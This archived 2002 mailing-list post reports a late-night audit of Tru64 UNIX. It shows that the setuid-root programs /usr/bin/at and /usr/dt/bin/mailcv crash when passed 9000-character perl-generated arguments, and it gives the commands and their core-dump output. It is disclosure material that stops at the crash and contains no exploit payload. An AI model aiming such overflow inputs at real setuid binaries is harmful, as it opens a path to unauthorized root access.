Vulnerability Development mailing list archives

Compaq tru64 setuids /usr/bin/at and /usr/dt/bin/mailcv


From: KF <dotslash () snosoft com>
Date: Thu, 04 Apr 2002 20:17:57 -0500

Heres some the results of my latenight audit on Tru64. Its too late for me to mess with Compaqs web site to get the security contact ( I am tired and don't care or something). If someone has TRU64 gdb binaries I would love them... its too late for me to be playing with the Tru64 ladebug also... get it "Lady Bug" har har.

alpha.snosoft.com> uname -a
OSF1 alpha.snosoft.com V5.1 732 alpha

alpha.snosoft.com> ls -al /usr/bin/at
-rwsr-xr-x   1 root     bin        57760 Aug 24  2000 /usr/bin/at

alpha.snosoft.com> /usr/bin/at `perl -e 'print "A" x 9000'`
Memory fault - core dumped

alpha.snosoft.com> ls -al /usr/dt/bin/mailcv
-rwsr-xr-x   1 root     bin        98368 Aug 25  2000 /usr/dt/bin/mailcv

alpha.snosoft.com> /usr/dt/bin/mailcv -f  `perl -e 'print "A" x 9000'` A
exception system:  exiting due to multiple internal errors:
      exception dispatch or unwind stuck in infinite loop
      exception dispatch or unwind stuck in infinite loop
exception system:  exiting due to multiple internal errors:
      exception dispatch or unwind stuck in infinite loop
      exception dispatch or unwind stuck in infinite loop
Abort - core dumped

-KF



Current thread: